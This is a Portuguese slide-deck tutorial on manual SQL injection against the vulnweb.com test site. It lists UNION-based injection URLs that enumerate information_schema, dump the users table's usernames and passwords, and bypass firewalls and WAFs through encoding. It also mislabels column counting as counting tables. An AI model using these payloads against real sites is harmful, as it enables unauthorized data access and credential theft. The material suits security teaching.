Baixe o app para aproveitar ainda mais
Prévia do material em texto
O que temos pra hoje? Temas de Hoje: • SQL Injection na mão • Comando Básicos • Principais Operadores Lógicos • Principais Operadores de Comparação • Principais Funções • SQL Injection Avançado • Detectando falha • Descobrindo o numero de tabelas • Procurando tabelas no Information_Schema • Procurando colunas no Information_schema • Coletando usuário, database, versão, pasta local do banco • Efetuando ByPass de Firewall e WAF www.eSecurity.com.br SQL Injection avançado www.eSecurity.com.br Os comandos que você precisa saber para fazer SQL Injection são: SELECT – Busca alguma informação do banco de dados e exibe; INSERT – Insere informações do banco de dados; DELETE – Apaga informações do banco de dados; UPDATE – Atualiza, ou seja, sobrescreve uma nova informação. As principais cláusulas, geralmente usadas com o SELECT, são: FROM – Especifica a tabela de onde serão retiradas informações. WHERE – Significa AONDE. ORDER BY – Usado para ordenar algum resultado. SQL Injection avançado www.eSecurity.com.br Os operadores lógicos são: OR – Significa OU AND – Significa E NOT – Significa NÃO Os principais operadores de comparação são: < - Significa MENOR > - Significa MAIOR <> - Significa DIFERENTE <= - Significa MENOR OU IGUAL >= - Significa MAIOR OU IGUAL = - Significa IGUAL LIKE – Significa PARECIDO. SQL Injection avançado www.eSecurity.com.br Antes de iniciarmos, devemos conhecer algumas funções do SQL. Information_schema É um banco de dados onde são armazenados o dicionário de todos os bancos de dados, tabelas e colunas de seu sistema. Group_concat Trás todos os resultados obtidos em uma linha, separado por virgulas Union All O objetivo do comando SQL UNION ALL é combinar os resultados de duas consultas. A diferença entre UNION ALL e UNION é que enquanto UNION apenas seleciona valores diferentes, UNION ALL seleciona todos os valores. SQL Injection avançado www.eSecurity.com.br SQL Injection avançado - Alvo http://testphp.vulnweb.com/artists.php?artist=1 www.eSecurity.com.br Vamos começar com nosso alvo http://testphp.vulnweb.com/artists.php?artist=1 Detectamos que nosso alvo possui falha de SQL Injection http://testphp.vulnweb.com/artists.php?artist=1’ Veja o erro MySql: Warning: mysql_fetch_array() expects parameter 1 to be resource, boolean given in /hj/var/www/artists.php on line 62 Veja o erro em MSSQL: [Microsoft][ODBC SQL Server Driver][SQL Server]Column ‘noticias.titulo’ is invalid in the select list because it is not contained in an aggregate function and there is no GROUP BY clause. Use o order by para detectar o número de tabelas http://testphp.vulnweb.com/artists.php?artist=1 order by 1,2,3,4 Vá acrescentando os número sequencialmente, 1,2,3,4,5, até o erro aparecer. Quando o erro aparecer, então significa que o número anterior é o número total de tabelas no banco de dados atual da página SQL Injection avançado www.eSecurity.com.br Agora vamos identificar onde estão cada uma das tabelas http://testphp.vulnweb.com/artists.php?artist=100 union all select 1,2,3 É importante setar um ID que não existe, assim ele irá identificar as tabelas com seus números correspondentes. Selecionamos todas as tabelas existentes em nosso Information_Schema http://testphp.vulnweb.com/artists.php?artist=100 union all select 1,2,group_concat(table_name) from information_schema.tables Para facilitar, iremos buscar todas as tabelas do banco de dados em uso http://testphp.vulnweb.com/artists.php?artist=100 union all select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() Encontramos a tabela Users, agora iremos buscar suas colunas http://testphp.vulnweb.com/artists.php?artist=100 union all select 1,2,group_concat(column_name) from information_schema.columns where table_name=‘users’ SQL Injection avançado www.eSecurity.com.br Com as colunas selecionadas, iremos efetuar a apresentação dos dados encontrados nas colunas uname e pass da tabela users http://testphp.vulnweb.com/artists.php?artist=100 union all select 1,2,concat(uname,0x3a,pass) from users SQL Injection avançado www.eSecurity.com.br Coleta a versão do banco de dados @@version Coleta o nome do banco de dados atual database() Verifica o usuário que está conectado ao banco Current_user() Verifica a pasta onde o mysql está instalado @@datadir SQL Injection avançado www.eSecurity.com.br SQL Injection avançado Codificando em hexa alguns caracteres É importante codificar caracteres para efetuar by-pass em diversos firewalls e wafs Seguem alguns exemplos: %29 - ) %28 - ( %20 - Espaço 0x3a - : www.eSecurity.com.br SQL Injection avançado Exemplos de uso Concatenando diversas informações em um único form CONCAT_WS(CHAR(32,58,32),user(),database(),version()) Para servidores que não aceitam espaços union/**/all/**/select/**//**/1,2,CONCAT_WS(CHAR(32,58,32),database(),version()) — Para servidores que não aceitam sinais (), espaços e afins union%20all%20select%20%201%2C2%2CCONCAT_WS%28CHAR%2832%2C58 %2C32%29%2Cdatabase%28%29%2Cversion%28%29%29-- www.eSecurity.com.br E-mail: alan.sanches@esecurity.com.br Twitter: @esecuritybr e @desafiohacker Skype: desafiohacker Fanpage: www.facebook.com/academiahacker printf ("\Chega por hoje\n"); www.eSecurity.com.br www.eSecurity.com.br
Compartilhar